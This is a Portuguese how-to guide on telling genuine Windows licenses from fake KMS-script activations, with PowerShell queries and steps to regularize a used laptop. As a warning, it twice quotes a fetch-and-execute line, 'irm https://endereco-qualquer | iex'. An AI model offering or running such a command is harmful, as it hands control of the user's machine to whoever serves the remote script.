Windows ativado de verdade: como conferir a licença e regularizar sem script

Você compra um notebook usado, liga, e a tela de Ativação diz que o Windows está ativado. Meses depois, a marca d'água volta. Ao investigar, descobre que o vendedor rodou um script de blog que aponta o sistema para um servidor de ativação desconhecido e deixou uma tarefa agendada para renovar. A resposta curta: Windows regular é Windows com uma licença de origem identificável, de fábrica (gravada no firmware), de varejo ou de um contrato da empresa. Script que "ativa a edição Pro" sem você ter comprado só muda a aparência, e roda código de terceiros com privilégio de administrador.

A boa notícia: conferir o tipo de ativação leva um minuto, e regularizar costuma ser mais simples do que parece.

Por que o script parece funcionar

Empresas com muitas máquinas usam a ativação por volume, e uma das modalidades é o KMS: a própria empresa mantém um servidor interno que ativa os computadores da rede por um período e renova periodicamente. Para isso, a Microsoft publica chaves genéricas de cliente KMS, que só funcionam se houver um servidor KMS licenciado respondendo.

Os scripts de blog se aproveitam desse desenho. Instalam a chave genérica pública e apontam a máquina para um servidor KMS na internet, de dono anônimo. O Windows conversa com esse servidor, recebe uma ativação temporária e a marca d'água some. O texto da tela diz "ativado". A licença continua não existindo.

O fato de os comandos serem oficiais (slmgr é uma ferramenta da Microsoft) não torna o uso legítimo. A ferramenta é legítima; o servidor e a chave usada para contornar a compra não são. E o risco vai além da licença: muitos desses roteiros pedem para colar algo como irm https://endereco-qualquer | iex, que baixa e executa um script remoto como administrador. Alguns ainda pedem para desligar o antivírus antes. Você entrega a máquina a quem controla aquele endereço.

Como conferir o tipo de ativação

No PowerShell (não precisa ser administrador para consultar):

# Canal e estado da licença do Windows
Get-CimInstance SoftwareLicensingProduct -Filter "PartialProductKey IS NOT NULL AND Name LIKE 'Windows%'" |
    Select-Object Name, Description, LicenseStatus

# Chave gravada no firmware pelo fabricante (vazio se não houver)
(Get-CimInstance -ClassName SoftwareLicensingService).OA3xOriginalProductKey

No primeiro resultado, LicenseStatus igual a 1 significa licenciado. O campo que revela a origem é Description, que traz o canal:

• RETAIL: licença de varejo, comprada avulsa ou digital vinculada à conta Microsoft.
• OEM: licença de fábrica, que veio com o equipamento.
• VOLUME_KMSCLIENT: ativação por servidor KMS. Normal em computador de empresa conectado à rede corporativa. Em computador pessoal, é o sinal clássico de script.

Para ver detalhes, incluindo informações do servidor KMS usado, rode slmgr /dlv; para a validade da ativação, slmgr /xpr. Ambos abrem uma janela com o resultado. O slmgr é um script VBScript, recurso que a Microsoft está descontinuando; se ele não rodar numa versão futura, a consulta pelo PowerShell acima continua valendo. A tela Configurações, Sistema, Ativação mostra o estado de forma resumida e indica se há licença digital vinculada à sua conta Microsoft.

Exemplo trabalhado: o notebook usado

Voltando ao notebook do começo, a consulta devolveu (dados fictícios):

Name            : Windows(R), Professional edition
Description     : Windows(R) Operating System, VOLUME_KMSCLIENT channel
LicenseStatus   : 1

OA3xOriginalProductKey : XXXXX-XXXXX-XXXXX-XXXXX-XXXXX   (chave de fábrica existe)

Leitura: o sistema está ativado por KMS num computador pessoal, logo por script. Mas o firmware tem uma chave de fábrica. O próximo passo é descobrir de que edição ela é. Etiquetas antigas, a nota fiscal original ou o suporte do fabricante do notebook informam se o equipamento saiu com Windows Home ou Pro.

1. Remova o que o script deixou. Abra o Agendador de Tarefas e procure tarefas criadas na data em que o vendedor preparou a máquina, com nomes de renovação ou ativação. Rode uma verificação completa com o antivírus. Se não confia no que encontrou, reinstalar do zero com a mídia oficial da Microsoft é o caminho mais limpo.
2. Limpe a configuração de KMS com slmgr /ckms (prompt como administrador).
3. Se a chave de fábrica for da mesma edição instalada, instale-a com slmgr /ipk seguido da chave e ative com slmgr /ato.
4. Se a chave de fábrica for Home e o sistema estiver como Pro, você tem duas saídas legítimas: comprar a atualização para Pro pela Microsoft Store (em Configurações, Ativação) ou reinstalar a edição Home, que ativa sozinha com a chave do firmware.
5. Confirme rodando a consulta de novo. O canal deve aparecer como OEM ou RETAIL.

Sem chave de fábrica: os caminhos legítimos

Computador montado ou com placa-mãe trocada geralmente não tem chave no firmware. Nesse caso, a licença vem de compra: pela Microsoft Store, pela loja da Microsoft ou por revendedor autorizado. Se você já teve licença digital vinculada à conta Microsoft e trocou peças, a tela de Ativação oferece uma solução de problemas que pode reativar o sistema depois da troca de hardware.

Em empresa, a pergunta é outra: qual contrato cobre essas máquinas e quem administra o servidor KMS interno. Dúvida sobre licenciamento corporativo se resolve com o revendedor ou nos termos de licença da Microsoft, não com post de blog. Mexer no Registro para esconder o aviso também não regulariza nada, como explica Registro do Windows por causa de um post.

Erros comuns

• Achar que "ativado" na tela é licença. O canal VOLUME_KMSCLIENT em máquina pessoal mostra que não é, e a ativação expira se o servidor sumir.
• Colar irm ... | iex de um site. Você executa como administrador um código que pode mudar a qualquer momento.
• Desligar o antivírus para o script rodar. Se a ferramenta precisa disso, ela faz algo que um antivírus considera perigoso.
• Comprar "chave barata" de origem desconhecida. Pode ser chave de volume revendida ou já usada, e parar de funcionar sem aviso.
• Instalar edição diferente da chave de fábrica. O sistema não ativa e a tentação de usar o script volta.
• Esquecer as tarefas deixadas pelo script. A renovação continua tentando falar com o servidor de terceiros.

Checklist

• Consultei o canal da licença e sei se é RETAIL, OEM ou KMS.
• Verifiquei se o firmware tem chave de fábrica e de qual edição.
• A edição instalada é a mesma da licença que tenho.
• Não há tarefa agendada nem servidor KMS de terceiros configurado.
• Comprei licença por canal oficial, se não havia de fábrica.
• Guardo nota fiscal ou comprovante da licença.

Rode a consulta de canal no seu computador agora: o resultado diz OEM ou RETAIL, e você consegue mostrar de onde veio essa licença sem citar um blog?